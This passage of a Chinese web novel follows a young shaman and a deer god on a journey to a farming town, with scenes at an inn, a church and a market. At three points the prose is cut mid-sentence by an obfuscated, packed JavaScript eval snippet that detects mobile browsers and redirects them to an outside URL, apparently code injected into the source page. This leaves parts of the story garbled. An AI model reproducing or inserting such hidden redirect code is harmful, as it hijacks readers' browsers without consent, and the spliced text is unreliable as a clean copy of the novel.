他知道,这是一个禁忌问题。 “没什么,像你这样的小萨满,对未知的世界抱有疑问是正常的。但我要警告你,死亡就像夜幕下的森林,它令人恐惧,同时又有着诱人深入的魅力。” “好了,别问些有的没的了,我看他们给你带了肉干,袋子塞到你的毯子下面了,能热乎一点。” 萨哈良伸手摸了摸毯子下面,果真有肉干。 “鹿神,你吃吗?” 他拿起肉干朝着鹿神递过去,鹿神用有点不可思议的眼神看着他。 “谢谢,我不吃。” 这孩子,倒是挺有礼貌的,鹿神这么想着。 萨哈良拿起肉干,牙齿用力撕咬着。他抬头看着来时的高山,部族的营地就藏在茂密的树林下,藏得太深了,也看不见灯火。不知道他们正在干什么呢?阿沙会不会在山顶看着我们?萨哈良在心底想着,眼角不知不觉流出几滴泪水。 可能是咬肉干时脸上的肌肉挤压到泪腺了吧,就像路边的小猫抢食时常见的那样。 鹿神见他眼睛红红的,脸也被篝火烤的红扑扑的,也不知道该怎么办好。 罢了,鹿神一咬牙,又变成鹿形,盘在那块大头巾支起的帐篷外,将萨哈良围起来,依偎在他旁边。 “早点休息吧,我们尽快完成旅行,就能送你早点回家了。” 萨哈良看着鹿神油光水滑的皮毛,像是上等的绸缎一样,心里感觉有些受宠若惊,又有点想伸手摸摸。在他身边,鹿神的体温让帐篷里温暖的像是烧起好几盆炭火。 就是有点太亮了,他这么想到,鹿神的神力让毛发在深夜也闪闪发光。 要是暗一点就好了。 他把手搭在眼睛上,没一会就沉沉睡去了。 第二天清晨,晨风吹过山间谷地,山上松林的树枝相互碰撞,发出沙沙的声音。萨哈良早早就醒来了,可能是怕他受凉发烧,夜里的时候感觉到鹿神有好几次都把头探过来碰碰他的额头,温暖的鼻息让他睡的很舒服,一扫昨日的惊吓与疲惫。 他起身穿上长袍,看着身上昨天萨满姐姐为他选的华服,真的要这么旅行吗?他暗暗叹了口气。 萨哈良把她们送的银饰收进皮袋里,又把毛毯铺回马鞍上。 神灵是不需要睡觉的,鹿神正站在水潭旁,望着谷地尽头,通往南方的山口。 “等等,头巾就别收起来了,你昨天受凉,披着暖和。” “可是......那是女孩子的......” 萨哈良感觉有点难堪,挠了挠头。 “什么男的女的,你戴这个挺好看的。” 鹿神从水潭那边走了过来,对萨哈良说到。 但感觉有点奇怪,鹿神身边的微光看起来比起昨天黯淡了许多,是因为天亮了的缘故吗? 萨哈良瘦削的身形穿着宽大的长袍,又披上了头巾,还是那样秀美,站在骏马的旁边,更是英气。 “那我们接下来怎么办?” 他被鹿神盯着感觉有点发毛,只好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088666|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻声询问着他。 萨哈良知道大概是到了供鹿神凭依的时候了,但还是感觉手足无措。他不知道神灵的力量会以什么样的形式呈现,就这样将身体作为容器拱手让出,是令人恐惧的。 鹿神还是在盯着他,突然,他的身形隐没晨雾之中,化作一阵金色的细雨,落在了萨哈良身上,将他淋湿。 随后,身上的雨水像蒸汽一样升腾,在清晨的深空中消散。 “我们出发吧。” 脑海深处传来鹿神的声音,把萨哈良吓了一跳。 “鹿......鹿神?你......你去哪儿了?” 听见他这么问,鹿神又像幽灵一样从他的身体里飘了出来。 “从现在开始,只有你能看见我了,我一直在你身体里凭依。” “可是您不是能以实体示人吗?” 鹿神此时的声音像飘飘悠悠,像是站在山谷里。 “我之前说过了,我不能在灵魂界以外的地方呆太久。刚才你也能看见,离开了你们部族的图腾柱,我身旁的光都慢慢黯淡了。” 萨哈良点点头,事不宜迟,他披上头巾,跨到马上慢慢骑行,跟在身后的鹿神像是战士身上飘动的旗帜。 往南方的路并不难走,只是由于积雪尚未融化,需要靠马匹在里面蹚出一条路来。 河间谷地肥沃而平整,夏季的洪水将山上腐烂枯木积聚而成的泥土冲刷下来,冲积成这片适宜耕种的沃土。部落民把他们这些农民称为“田人”,农闲季节的时候,他们就会上山和部族做交易,换走一些山野特产,好在人口不多,也从未发生过什么冲突。其实大家的长相差不多,无非是信仰的差别。 萨哈良怕惹上麻烦,所以也没有选择从田间穿行。离得远远的能看见在田地交叉的地方,有一些茅草屋。尽管他也很好奇农民的生活,但还是沿着河流南下。 “鹿神,您在吗?” “在,别每次都问了。” 他还有点没习惯鹿神在自己脑子里,每次想说话都要问一句。 “您说这些田人都信仰什么神灵啊?” 这个问题可能鹿神也不太清楚,他想了一会才说道: “也有什么都不信的,他们依靠之前年轻萨满提到的那个“钱”过活,有了这个可以买到一切。” “怎么会有人不信任何神灵?” 萨哈良很难想象这种场景。 “嗯......其实还是有的,有一次我在灵魂界听见有人在唱请神歌召唤我,我猜可能是跟你们学的,但是漏洞百出,报的路名都不对,我懒得去找他了。” 萨哈良若有所思,没有说话。 “你别用这种眼神,不是我不帮忙,实在错的太多了。” “我没有那个意思,我只是在想,没有神灵他们会践行什么样的道路呢?” 这倒是他真想问的,部族里的每个人都对自己的信仰有不同的理解,他们都在拼命向神灵证明着自己的虔诚。 “哈哈哈哈哈,这倒像你们这种年轻人才能问出来的问题。” 原本这鹿神就有点唇尖舌利,现在哈哈一笑直接在脑海里回荡了。 走到山口与河流交界处时,农田变得愈发密集了起来。部族所在的高山也越来越远,离开群山之中萨哈良才发现,原来营地只是在半山腰的草甸上,在身后还有一座巍峨的雪山,正在午后夕阳的照射下散发着金光。 远处森林边有一群麋鹿听到他们的声响,忙着向树林里跑去。那只领头的雄鹿还不忘回头看看他们,他硕大的鹿角就像鹿神的一样美丽。 萨哈良看见它,差点叫出了声,突然想到鹿神此时正在他脑海里歇息着。 真是奇妙的感觉。 “这趟旅程难免会与这些种田的人打交道,如果路上碰见他们的聚落,试着拿银饰换点钱吧。” 鹿神的声音又幽幽的从耳畔传来。 但萨哈良其实不是很想卖掉这些首饰,它们不知道是萨满姐姐们收藏了多久的宝物,有朝一日归乡时一定要都赎回来。 两人就这么边走边闲聊,田间的微风习习,和着暖阳令人心旷神怡,没多会儿就离开了山谷。 走过山口之后,也就不得不回到大路上了。 7. 打扮成新娘的少年 有人陪伴的旅程总共是要轻松许多,有一路上有说有笑——呃,笑倒是不一定,大多数时间是鹿神的毒舌和萨哈良的难堪。 路旁还是连绵不断的农田,外面的气温比起山里又高了一分,田地里只剩下残留的积雪,雪中还有植物冒出的新芽。由于农民平时驾着马或者牛拉着的车,到田里劳作,现在道路上遍布着深深的车辙印。 在道路的尽头,应该就到了农民们的城镇。那边的房子和部族的不同,都用厚厚的石头垒起墙壁,再用黄泥填补上缝隙,看着整齐又气派。墙边叠放着过冬用的柴火,房顶则是圆木搭建的,还有烟囱正冒着炊烟,这一切足以抵御严寒。 走进小镇,人就慢慢多了起来。忙完地里农活的人们原本扛着农具低头赶路,听见马匹胸前铜铃的声音也抬头看了过来,端着木盆的妇女正交头接耳,就连路边玩耍的儿童都在用好奇的目光打量着身着华服的萨哈良。感觉到目光的灼热,他连忙扯过头巾,盖住了自己的脸。 “天色不早了,试试找找住处吧。” 虽然鹿神这样说,但对于萨哈良来说还是有点难度的。首先他们语言不通,再者说店铺上立着的招牌他也看不懂,画的像是符咒一样。 不过,走在小镇中,与他所知信息不同的是,除了那些和部族长相相近的人以外,更多的是高鼻深目的人,皮肤白的透出血丝,也有的是金发碧眼,头发微微卷曲。 看到他们,萨哈良心里有点害怕。 很快,他敏锐的目光捕捉到了街角有座两层的小楼,招牌上画着像杯子一样的图案,门口正站着几个穿着和农民气质不同的人。他们戴着平檐的皮帽,身上的衣服平整许多,脚下也踩着皮靴。 萨哈良猜测,这大概就是可以住人的地方。部族民都是热情好客的,一般来客都会允许他们住下,并且招待好酒好饭,可能“田人”的城镇也是这样。 他骑着马慢慢走到房子的门前,那边聊天的几个人也像刚才一样,停下来上上下下打量着这个骑在马上身着盛装的人 萨哈良掀起头巾,从马鞍上一跃而下,稳稳的落地。也不知道是因为他的身手,还是因为他身着华丽长袍的气质,那几个人都低声惊呼着。 这时候,从屋里跑出来一个留着光头的矮胖子,他身前的围裙上蹭着油污,冲上前去把马鞍后面的行李解下来。 他被这不知道从哪儿来的胖子吓了一跳,害怕是遭人埋伏,一下子把手按到藏在长袍里的仪祭刀上,微微欠身,双脚也分开站,两眼瞥着四周,计算着周围的人数,立刻进入战斗姿态了。 那个胖子也没注意到他的杀气,还是自顾自的搬动着行李。 “你是干什么的?为什么动我的行李?” 萨哈良看他半天没理人,试探着问道。 “呀说菲咔卟啦噶咚。” 果然没用,这胖子说的话他完全听不懂。 “鹿神,你有办法能让他们明白我的意思吗?” 萨哈良捂住嘴,小声对鹿神说道。 但是无人回应。 唉,只好硬着头皮,一直盯着胖子,直到他整理完行李后,捆起来递给萨哈良,然后牵着马朝房后走去了。 他低头看了眼往房后去的小路,地上有许多马蹄印和马粪,说不定是他们的马厩吧,还是进屋问问。 门口聊天的几个人就这么一直盯着萨哈良走进了屋。 好在屋里多是一些萨哈良熟悉的长相,他们正坐在桌子前饮酒吃饭,划拳的声音震耳欲聋。门口有一张长长的吧台,吧台后站着一个同样体型丰满的女人,她正低头用一块脏兮兮的麻布擦着手中的木制酒杯,在她的后面还有架子,上面摆满了各种酒。 “尼......嚎?” 那个女人感觉到了有生人走进屋里,于是抬头向他打着招呼。 萨哈良透过喧闹的酒鬼们,好像听见她似乎说了一句他能听懂的语言? “你好......我想问问您这里可以让我住一夜吗?” “喈列斯乌那斯告斯替尼嚓,什坨切别努日诺?” 好吧,还是听不懂。 “哈哈哈哈哈,不逗你了,给你施舍一点神力吧。” 安静了许久的鹿神又在耳边说话了,他说完后,萨哈良感觉到喉咙和耳朵微微发热,有一股热流涌动。 “现在说话试试。” 鹿神在耳畔提醒他,萨哈良努力的张开嘴,不是很自信的说道: “你......好?一晚我住让可以吗?这我想问。” 那个女人听他以一种奇怪的语序在说话,皱了皱眉头。 “什么东西,你不要这么紧张,我们的语言和他们的语序不同,试试自然一点让神力自己脱口而出。” 经鹿神提醒,萨哈良才发现刚刚说出了一串什么话。 “对不起,我想问这里可以让我住一晚,吗?” 虽然还是有点不正常,至少吧台后的女人听懂了。 “哈哈哈哈哈,当然可以,这里本来就是旅店。” 萨哈良还在脑中努力理解旅店一词的含义,那女人又继续说道: “像你这么漂亮的新娘为什么自己一个人出现在镇子里?” 她的这个问题吓了他一跳,又感觉有些尴尬,他感觉自己的耳朵滚烫,这下应该不是神力的原因了。 “啊......这......您怎么知道我身上这是新娘的衣服?” “哈哈哈哈,我们常常和部落民做生意,当然是见过你们的婚礼了。” 萨哈良听她这么说,至少感觉亲切了许多。随后老板娘为他解释了旅店的含义,也说清楚了价钱。 “那您可以给我两间房吗?” 倒不是不习惯和鹿神在一间屋子睡觉,只是萨哈良又忘记了他此时正在自己脑子里。 “啊为什么?你不是一个人吗?” 老板娘也是善解人意,没有再追问他新娘的事,只是一味的教育着他一个人出门不要浪费钱。 躺在旅店软乎乎的床上时,萨哈良已经感觉自己脑子不太够用了,头晕晕的。鹿神也看出来他很累,没有再说些什么。他自己跑了出来,在屋子里飘来飘去,打量着卧室里陈列的装饰,尤其对墙壁上那面会叮叮当当响的挂钟感兴趣,一直盯着看了好久。 刚刚在结账时,老板娘为他解释了钱的概念,也给他看了他们的货币。萨哈良学的很快,从首饰上摘下一个银制的吊坠给她,老板娘笑的很开心,但不知道为什么他感觉自己好像亏了。 这些小镇居民的房子要比部落民的木屋高不少,打开窗户还能看到街道上的景色和远处的群山。壁炉里的火正旺,热气烘的人抬不起眼皮,萨哈良看着天花板上拼的严丝合缝的圆木,一阵无法抗拒的睡意袭来,慢慢睡着了。 “叮......咚......叮咚” 萨哈良这一觉睡的晕晕乎乎的,他抬起头先是有点紧张的寻找鹿神的踪迹,看见他还在挂钟前面低头看着才放心。又扭头看了看窗板的缝隙,应该是天黑了。 “这小东西还挺好玩的,感觉像是某种计时的法器,一到时间就会叮咚的响。” 鹿神时不时伸手戳一戳里面的钟摆,看来见多识广的神灵也有没听说过的东西。 “我有点饿了,要不要下去看看店里有没有什么能吃的东西?” “那就去呗,反正我又不能吃。” 萨哈良总是忘记鹿神此时是在自己脑子里,现在有点怀念起活人在旁边觥筹交错的时光了。 两人推门走出卧室,或者说鹿神是直接穿墙而过的,经过走廊的拐角,廊道的墙壁上还挂着一些画,萨哈良能认出,那就是他们部族所在的山,只不过下面写的是某种奇怪的名字,兴许这是他们的叫法?他这样想着。 不过,比较困难的是萨哈良不知道怎么下楼梯,上去的时候还好,下来就费劲了,差点从二楼摔下来。 “怎么了小姑娘,你是不是饿了?” 此时吧台前面摆着一排木制的酒杯,老板娘正拿着那块破麻布挨个擦着。 “那个......我其实是男......” 最后那个人字,萨哈良有点难说出口,毕竟他还没有通过成年试炼。 老板娘听他这么说,些许的透露出一丝难以置信的表情,不过很快就消失不见了,换上了职业的笑容。 “哎呀,正常,可能这是你们部族的传统呢。咱们这个旅店每天都会经过带有各种秘密的人,放心吧我不会问的。” 萨哈良只能对她报以尴尬的笑容,不知道她把部族想象成了什么奇怪的东西。 “现在这个季节也没有什么吃的了,只有烤土豆和咸牛肉,土豆里面你可以选择加奶酪,咸牛肉可以直接吃也可以让厨子帮你煎一下,怎么样?” 老板娘叽哩哇啦快速的说了一串,像是念咒语一样。 刚刚付房费时,萨哈良第一次感受到“钱”的威力,他像每一个头回出远门的游子,开始控制不住自己的钱包了。 “那......就按您说的我都试试吧。” “好嘞,饭钱等你走的时候再结就好了!” 老板娘开开心心的朝后厨喊了一声,里面应了之后传来叮叮咣咣的声音。 傍晚喝酒的那群人这会已经不在了,椅子稀稀拉拉的散落在桌子一旁,桌面上很奇怪的布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“来,烫了就喝一口,这是去年的好麦子酿出来的。” 土豆的外皮烤得焦焦的,皲裂的表皮欺骗着每一个馋嘴的食客,指尖刚刚碰上就烫的一缩。上面切碎的奶酪也随着温度慢慢融化,掰开之后,又是软糯的内里,黄澄澄的。一口咬上去,先是炉膛里柴火的微微苦味,随后甘甜和奶酪的油脂香气就在嘴中蔓延开来。 萨哈良嘴里忙的说不出话,又拿起木杯猛喝了一口。 那麦酒更是从未想过的味道,冰凉的酒液中透着细密的气泡,轻轻扎着舌头,随后一股浓烈的麦芽香气顺着喉咙流下,就像夏天收获的青麦用火烤过一样醇香。本来和着奶酪的香气此时有些腻了,后味又抿出一丝苦味,恰到好处的解了腻。 “你这狼吞虎咽的好像刚过冬的狗熊。” 鹿神在旁边看他吃成这样,也忍不住嫌弃的说道。 “你不明白,真的太好吃了。” 老板娘又走过来帮他拿起空杯,说: “我明白啊,我的厨子手艺肯定没的说。” 萨哈良意识到刚刚自己不小心说出口了,连忙找补。 “啊......反正就真好吃!” “哈哈,我再帮你倒一杯,别光吃土豆啊,试试牛肉。” 这时才发现光顾着吃土豆了。他看见牛肉的盘子旁边摆着刀叉,拿起叉子摆弄一番后,有点不知道怎么用,害怕丢人,就拿刀尖扎起一整块塞进嘴里。 由于缺盐,部族通常都是直接烤肉,萨哈良没想到的是,加了盐的牛肉竟然可以如此醇香,肌肉之间的脂肪在经过煎制之后,微微融化又带着焦香,透着一丝牛奶的味道。 因为刚才吞下去一整块牛肉,萨哈良被噎的直咳嗽,老板娘把接满的酒递了过去。 “慢点吃,你可以先用刀把肉切碎,然后再用叉子扎着吃,很简单的。” 萨哈良听他这么说,发现确实不难。 这一顿被老板娘一杯接一杯的倒酒,最后不知道喝了多少。他在心里想着,老板娘能赚到“钱”,果然是有实力的,要是阿沙能吃到肯定开心极了。 想到这,萨哈良突然感觉一阵浓浓的困意。 趁着还有意识,谢过老板娘之后,她帮忙把萨哈良搀扶着送上楼梯。恍惚着之间他看见鹿神高大的身影跟在旁边笑着,还不忘提醒他进屋锁好门。 然后他就躺在床上,睡的不省人事。 8. 教堂钟声下危机四伏 “呃啊.......” 由于宿醉醒来的无梦睡眠是最痛苦的,欲裂的头痛伴随时间被抽离的感受,意识中断清醒之后身体在挣扎着向四周寻求确凿的真实感。 萨哈良已经不记得昨天老板娘倒了多少酒,这些“田人”们用小麦酿制的气泡酒与部族常喝的那种不同,它容易入口,又有着麦芽的香气,一不小心就喝多了。 “你醒了?” 鹿神对这个部族民的晚辈颇为爱护,每次一有什么变化就会注意到,这就是神明的注视吗? 但他的声音总是萨哈良最脆弱的时候从耳畔响起,低沉的、轻轻的,带着微微的呼吸声,像是狗尾草扫过耳廓,痒痒的。 听见鹿神的声音,他迷迷糊糊间看了看房间内,昨天那座挂钟仍在墙上滴答滴答响着,但却是四下无人。 “鹿神......可以出来说话吗?屋里没人却有声音我感觉不太......自在。” 兴许是部族民的天性吧,战士总是对周围的声响充满警惕。 再一眨眼,鹿神就已经坐在了面前。 “你的酒品还不错,一进屋就躺上床睡觉了。哦,对,你还听见我说要锁门。” 他在一旁笑着,用有些揶揄的口气说道。 “他们的酒太好喝了,我一不小心就......” 鹿神向后挪了挪,靠在墙上看着萨哈良。 “这让我想起了一个曾经的朋友,野猪神。” 他抬起头,回忆起了从前的时光。 “那时候你们部族混战,神灵都聚在灵魂界,把酒言欢,各自下着赌注,看是哪个部族能笑到最后。” 萨哈良听他这么说,心里感觉怪怪的。 “野猪神呢,本就是大自然狂野力量的化身。每次喝醉了之后,我们都会看着他化为一头巨大的野猪,到极北之地的平原狂奔,四处碰撞。” “那我们要抓紧时间,重新找到他。” 他知道神灵之间情谊的厚重,想着起身出门,赶紧帮鹿神寻找朋友。 鹿神抬起手按住了他的肩膀,说道: “不必了,他早就不在了。” “大约那场战争结束后不久,信仰他的部落大获全胜。但是,他的子民统治了田人土地,抢占他们的石头房子之后,他冲天的杀意也从战争时的优势变成了和平时的阻碍,人们慢慢忘记野猪神的存在。” 鹿神指了指头顶,示意大概就是这种石头房。 “此后他们部族的人也背弃祖灵,背弃了先祖的道路。失去信仰的野猪神,最后消失的并不光彩,但也不能说难看,只是就这样消失了。” “失去了信仰的神灵就会消失吗?” 萨哈良疑惑不解,这样的事情是他难以想象的。 “我看倒不尽然,也许不再践行祖灵的道路才是最关键的原因吧。” 鹿神见萨哈良看起来有些沉重,继续说道: “没什么的,兴许只是他的信仰不足以继续在灵魂界呆下去,也许这会又变成一只小野猪为害一方了。” 他对神灵消失这种事仍是不以为然。 “天亮了,到下面吃点东西,看看今天老板娘会给你准备什么吃的吧。” 说罢,鹿神起身朝他摆了摆手,两人便一起走到楼下去了。 前一天晚上,那些醉鬼把屋里搞的乱糟糟,这会儿椅子已经摆放整齐了,老板娘一大早就打开店门,坐在吧台后面等待开张营业。 “你醒了?昨天睡的怎么样?” 老板娘见他又从楼梯上一瘸一拐的挪下来,想来是宿醉让腿脚发软了。 “还......还好,就是酒喝的有点多了。” “哈哈哈哈哈,小伙子还得多练啊。” 她笑着对萨哈良说道,少年有点不好意思的看着她。 “你们如果想今天出门可能有点困难了,要不先吃早饭?昨天晚上下了场暴雪,这会镇子外面的路估计都被雪埋住了,我家厨子正在扫雪呢。” 说着,老板娘指了指门口,昨天那个光头的胖子正在外面清扫积雪。 “听老板娘的,先吃点饭吧,四处转转再走也不迟。” 鹿神站在旁边对萨哈良说着,他趁老板娘没注意,偷偷应了一声。 “那就看您安排了,我吃什么都行。” 老板娘吆喝了一声,喊外面那个厨子回来做饭。 “那你先找地方坐下吧,我去把门口扫扫。” 萨哈良选了一个靠近门口的位置坐下,第一次住他们的石头房子,他感觉还有点不习惯,看见外面的雪能觉得好一些。 “一会等你吃完,我们去看看昨天她说的那个教堂吧,我对这个很好奇。” 鹿神坐在一旁,对他说道。萨哈良从今天早上的谈话中也能猜到,鹿神对信仰本身有着自己的看法,同时对其他的神灵也抱有兴趣。 过了没一会儿,老板娘就端着木碗过来了。 “你昨天喝过酒了,吃点粥会好一些。这里面是燕麦和奶酪熬的,热热乎乎的吃下去一会想出门的话,就不冷了。” 萨哈良接过燕麦粥,特意打量了手中的木碗。他们的碗和部族常用的桦木碗不同,要更圆润,看不见手工雕琢的痕迹,颜色也黑黑的,像是用木炭打磨过。 这样上好的碗不知道出自什么样的能工巧匠,萨哈良在心中暗暗思索着。 “你喜欢这个碗吗,这是我在市场买的,就在昨天敲钟的那个教堂旁边。” 老板娘发现萨哈良没有像昨晚那样狼吞虎咽的开始吃饭,还以为是不喜欢燕麦粥。 “没有没有,我尝尝这个燕麦粥。” 萨哈良赶紧舀了一勺,热乎的粥在寒冷的天气里冒着热气,他轻轻吹了吹,放进嘴里。 精心脱壳的燕麦和奶酪炖在一起,浓稠、些许泛黄,表面浮着一层薄薄的油膜,是奶酪融化后留下的痕迹。味道有点微微的甜,燕麦中的淀粉在加热之后与奶酪形成恰到好处的滑腻,咽下去的时候毫不费力,落到胃里暖暖的,正适合宿醉醒来的清晨。 老板娘没有忙着出门扫雪,而是看着萨哈良吃饭,像是看着自己的孩子。 “看你吃饭感觉真香啊。” 萨哈良听她这么说,抬起头不好意思的笑了笑。 “正好夜里下雪,上午店里也没什么人,一会等你吃完带你去市场转转吧。” “老板娘人不错,就听她的,也许还能打听到一些消息。” 鹿神站在老板娘旁边,轻声说道。 “那就麻烦您了,我吃快一点,别耽误了您的生意。” 老板娘手脚麻利,这就把围裙解下来,到吧台后面去拿厚实的衣服了。 “没事你慢慢吃,我先换衣服。” 萨哈良不喜欢麻烦别人,赶快吃完了碗里的燕麦粥。他想到昨天路人盯着他看的场景,还是上楼去拿了那件大头巾。 “你看我就说让你戴上没错吧。” 鹿神看着他又把脸藏到头巾后面,忍不住吐槽到。 听鹿神这么说,萨哈良叹了口气,脑海里总有这么一个毒舌的声音,任谁也受不了。 “昨天就想说了,你这块头巾真漂亮,很适合你。” 老板娘已经穿戴好站在门口了,她里面穿着一条厚棉麻材质的连衣裙,和部族风格不同,他们喜欢穿套头的领口,上面点缀着几个铜扣,衣料边缘细致的用蓝色、红色的线装饰出几何图案。外面则是套上了一件厚厚的羊皮大衣,由于经常干活,露在外面的羊毛并不柔顺。 萨哈良已经慢慢习惯平原居民的热情了,对她说了谢谢。要知道在部族的时候很少有人夸奖他的外貌,战士们更喜欢粗糙的,身上有疤痕的壮汉。 “你穿这么少会不会觉得冷,用不用我把厨子的大衣给你穿?” 两个人一起走出门,老板娘对萨哈良说话的时候还冒着哈气。 “不会啊,我觉得镇子里很暖和。” “那倒也是,你们山人是要耐冻一些。” 萨哈良还没听到过“山人”这种奇怪的表述,朝老板娘扭着头。 “哈哈,山人嘛,住在山上的当然叫山人。” 他想起部族对平原居民的“田人”称呼,想了想还是不跟她说了。 小镇的市场离得不远,由于不是周末再加上夜里的暴雪,今天来摆摊的大概都是本地的居民,他们有的已经支好棚子,有的从箱子里拿出自己的商品。因为人来人往,地上的积雪慢慢融化和泥土混杂在一起,很是泥泞。 萨哈良小心翼翼的提着长袍的衣角,生怕弄脏衣服。 “你看,那就是教堂。” 老板娘朝市场那些棚子的后面指着。 与他想象中的不同,教堂并不是用石头砌成,而是拿未经加工的圆木直接建造的,上面做出了高高的尖顶,从圆木截面的宽度也能看出,这都是些生长多年的老树。 与外面的石头房子不同,教堂倒是让萨哈良感到了熟悉,因为它似乎和部族的木屋使用了同样的建筑方式。 “那我们先去看看教堂吧。” “好啊。” 萨哈良对老板娘说道,两人继续向前走着。 但他发现鹿神从刚才起就不在身边了,他有些紧张的四处寻找,结果发现他早就走到了教堂的墙边,盯着上面的圆木。 见两人朝这边走来,他对萨哈良说道: “这里的木头可能出自某个部族的祭场,上面有大家喜欢用的装饰纹样,但由于是部族通用的,难以辨认出具体来自哪儿。” 萨哈良把这个发现解释给了老板娘听,想得到一些信息,她觉得应该是从山人手里买来的,但他想这件事应该没有这么简单。 “因为不是礼拜的日子,所以没法让你看看我们的仪式了,不过可以进去随便逛逛。”老板娘对他说。 一旁站着的牧师见他们走来,便推开了门。 大门一开,一股奇异的香气扑面而来,像是柑橘,又混合着一丝木质烟熏的微微泛苦,然后是温润甘醇的蜜糖,最后是书卷翻开时的清尘。 “很香吧?这是乳香,一种从遥远西方运来的香料。” 说着,老板娘凑到萨哈良的耳边。 “我每年都会给他们捐赠,好多钱都拿去买这种昂贵的香料了。” 这他倒是能理解,部族里的萨满祭祀时大家也会从家里拿些东西来献给神灵。 教堂里面看着比外面感觉要大的多,也没有那种粗犷感了,地面铺着木板,由于长期使用,还会发出吱吱的响声。两侧摆着些椅子,中间一条长长走道的尽头大概是他们的祭台,后面还立着一个正在受苦受难的人像,表面镀金,四周的窗户都恰到好处的将光投射在他身上,闪闪发亮。 老板娘朝上方指了指,萨哈良随着她示意的方向看了过去。 尖顶是中空的,构成了室内的天顶,上面挂着巨大的吊灯,也挂着大概是燃烧刚才那种香料的香炉。 这倒是没有给萨哈良太大的震撼,他想,如果用造石头屋的办法兴许能更大,但为什么不这么干呢? 其他的那些陈列鹿神倒是没怎么看,只是盯着那尊雕像。 “我们这种小镇的教堂都不大,据说是先民用本来的建筑改造的,有机会你们到南方黑水河边的大城市,就能看见更宏伟的了。“ 听到老板娘说“先民”,萨哈良想到昨天刚来的时候看到的那些长相奇怪的人。 “老板娘,我之前听说平原的居民长得和我差不多,现在为什么会有那么多高鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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老板娘告诉萨哈良,这个小镇把守着北方商路的要道,商人们赶上天气不好会急着把商品卖掉,所以会有当铺可以换钱。 “您好,我想换些零钱。” 萨哈良掏出了皮袋子里的银饰,其他的还在旅店的客房里。 他看见那个当铺的老板拿起银饰,眼睛中透着难以置信的光,但很难捕捉得到,几乎是转瞬即逝。 “纯度太低,乡野村夫的手艺,值不了多少钱。” 说完,他抬起手朝着萨哈良比了个数,然后准备数出来几枚钱币。 听他这么说,萨哈良刚想伸手接钱,老板娘按住了他: “什么乱七八糟的,这可是我侄女的嫁妆,当年请南方的师傅打制的,你看看这工艺,正经的尖儿货!” 老板笑了笑,又重新比了个数。 “不行,再翻两倍!” 说着,老板娘就要拿起银饰转身离开。 “那这么样吧,旁边那个衣服摊子是我老婆开的,我再给你饶一套衣服?” 老板说完,朝着外面那个衣服摊喊了一声。 “这还差不多,正好我们也想买衣服。” 成交!萨哈良从老板手里接过了一袋子钱,放在手里沉甸甸的,心情也好了不少。 “看你笑的嘴歪,也是掉钱眼儿里了。” 神灵见多识广,连他的吐槽萨哈良都没听懂。 走出当铺,看旁边没人了,老板娘才悄悄对萨哈良说道: “其实还是亏,买的不如卖的奸,但总比你刚刚伸手就要拿钱强。以后记得交易要砍价,我这是对银器不懂,没法赚更多了。” 萨哈良点点头,对老板娘表示感谢。其实他刚才听的一头雾水,只觉得卖东西能换钱这件事确实令人快乐。 服装摊子上的衣服琳琅满目,老板娘让摊主帮他挑了几件合身的。平原居民平时穿的和部族民不同,可能是石头房子更保暖,很少有长袍这种类型。不过萨哈良也正好想试试他们的风格,因为刚刚看老板娘连衣裙上的几何纹样很特别。 他先是挑了一件短款的棉质上衣,领口缀的是牛角的扣子,下摆缝着和老板娘那件相近的几何纹饰,用了五种颜色,配着浅色的衣料,煞是好看。 随后又选了一件同样风格的长裤,在裤腿精致的装饰下面,恰到好处的露出一截纤细白皙的脚踝,就连老板娘也夸他穿着显得身材修长。 在他躲到摊子后面的帷幕中换衣服的时候,摊主拿着他换下的华服,感慨着纹样与做工的精美。 “老板,我还想选一件斗篷。” 萨哈良习惯头巾的方便了,想着还是再配一个斗篷吧。 就在老板到箱子里翻衣服的时候,老板娘店里那个光头的胖厨子跑了过来,他和老板娘偷着说了些什么,像是有什么急事。 “小伙子,你先试斗篷吧,我这边有点事,等下你自己先转转。” 老板娘说罢就和厨子一起跑回去了。 最后他选了一件去毛羊皮制成的斗篷,那斗篷带着帽子,边缘也装饰着同样风格的图案,还缝着白色的兔毛,看起来柔软又温暖。 “你这个白色的毛和我的毛很搭。” 逛了一上午,萨哈良感觉有点累了,确定还是去旅店。回去的时候,趁着四下无人,鹿神又出来和萨哈良聊天。 “您看见刚才那个做木碗的机器了吗,太神奇了!” “我看见了,平原的居民的手艺确实巧夺天工。” 萨哈良听他这么说,不知道为什么感觉有点不爽,忙回应道: “但我觉得部族民也很厉害,因为刚刚服装铺的老板还夸我身上那件华服了。” “你们部族确实厉害,毕竟还有敢跟我顶嘴的老萨满。” 鹿神还真是念念不忘。 两个人就这么聊着天,走过街角快到旅店时,听到了那边好像有冲突的嘈杂声。 萨哈良连忙跑了几步,到门口时才看见,那个光头的胖厨子被人打翻在地,一把破碎的椅子散在一旁,他正捂着流血的鼻子,因为痛苦在地上左右翻动着,而老板娘则是被这群人围在了吧台后面。 9. 少年心气 萨哈良听到街角传来的争吵声,想到刚才老板娘匆匆离去,可能是遇到什么事了,赶紧加快脚步跑到了旅馆门前。在吧台前面围着老板娘的,是那些和教堂里牧师长得相近的人,他们服装各异,身上都带着常年体力劳动才有的痕迹,满脸横肉,手指上装着指虎,正在对峙。 